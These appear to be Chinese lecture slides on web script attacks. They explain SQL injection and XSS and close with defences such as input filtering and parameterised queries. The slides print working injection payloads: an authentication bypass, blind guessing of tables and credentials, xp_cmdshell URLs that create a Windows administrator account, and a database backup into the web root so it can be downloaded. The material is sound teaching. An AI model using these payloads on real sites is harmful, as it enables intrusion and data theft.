- 2
- 0
- 约4.39千字
- 约 20页
- 2017-01-14 发布于贵州
- 举报
网络安全 9 Web脚本攻击 何路 helu@ * Web脚本漏洞 网站服务器越来越多,主要涉及 SQL注入:通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令 跨站脚本攻击(XSS):攻击者通过在链接中插入恶意代码,就能够盗取用户信息。网站在接收到包含恶意代码的请求之后会产成一个包含恶意代码的页面,而这个页面看起来就像是那个网站应当生成的合法页面一样。 SQL注入攻击原理 绕过认证:or a=a‘ 必须要有2个条件:1、账号密码的查询是要同一条查询语句;2、密码没有加密保护 判断能否进行SQL注入 判断数据库类型及注入方法 猜测表名和字段名 猜解用户名和密码 * 判断能否进行SQL注入 /login.asp?name=adminpass=admin Select * from users where uname = ‘输入的用户名’ and pass = ‘输入的密码’ 构造用户名: admin’ and ‘a’ = ‘a admin’ and ‘a’ = ‘b 如果① 同1、 ② 不同1,说明可以注入 如果① 、 ②均 不同1,说明不能注入 注意:需要根据传入参数的数据类型具体构造 * 判断数据库类型及注入方法 不同的数据库的函数、注入方法都是有差异的 SQLServer有一些系统变量,如果服务器IIS提示没关闭,并且SQLServer返回错误提示的话,就可以直接从出错信息获取 如果服务器IIS不允许返回错误提示,Access和 SQLServer都有自己的系统表,Access是在系统表[msysobjects]中,但在Web环境下读该表会提示“没有权限”,SQLServer是在表[sysobjects]中,在Web环境下可正常读取。 构造: and (select count(*) from sysobjects)0 and (select count(*) from msysobjects)0 * 猜测表名和字段名 构造:And (Select Count(*) from user)=0 and ‘a’=‘a 构造: And (Select Count(uname) from user)=0 and ‘a’=‘a 一般程序员会使用有意义的表名和字段名 反复穷举,如果页面工作正常,说明猜测正确 这里有一些偶然的成分,不存在100%成功的黑客技术,苍蝇不叮无缝的蛋,无论多技术多高深的黑客,都是因为别人的程序写得不严密或使用者保密意识不够,才有得下手。 * 猜解用户名和密码 确定字段长度 构造:and (select top 1 len(uname) from user)0 穷举各种可能… … 确定字段内容 构造:and (select top 1 asc(mid(username,1,1)) from user) = 1 穷举各种可能… … 可以使用二分搜索加快速度 * 利用系统表注入SQLServer举例 http://Site/url.asp?id=1;exec master..xp_cmdshell “net user name password /add”-- 先是Select出ID=1的记录,然后执行存储过程xp_cmdshell,这个存储过程用于调用系统命令,于是,用net命令新建了用户名为name、密码为password的windows的帐号, http://Site/url.asp?id=1;exec master..xp_cmdshell “net localgroup name administrators /add”-- 这种方法只适用于用sa连接数据库的情况,否则,是没有权限调用xp_cmdshell的。 * http://Site/url.asp?id=1 ;and db_name()0 返回的是连接的数据库名。 http://Site/url.asp?id=1;backup database 数据库名 to disk=’c:\inetpub\wwwroot\1.db’;-- 某些IIS出错暴露出的绝对路径,将数据库备份到Web目录下面,再用HTTP把整个数据库就完完整整的下载回来 * SQL注入防范 过滤关键词,如select、form、引号、分号等,这些关键词都是查询语句最常用的词语,一旦过滤了,那么用户自己构造提交的数据就不会完整地参与数据库的操作。 限制输入的长度 秘密字段使用散列函数进行保护 * 防范要严密 验证、过滤所有的输入 char(85)代替直接使用引号等 程序中使用类型安全的查询参数 避免在Like语句中使用% 使用SQL单一语句执行许可 /en-us/library/ms161953.aspx
原创力文档

文档评论(0)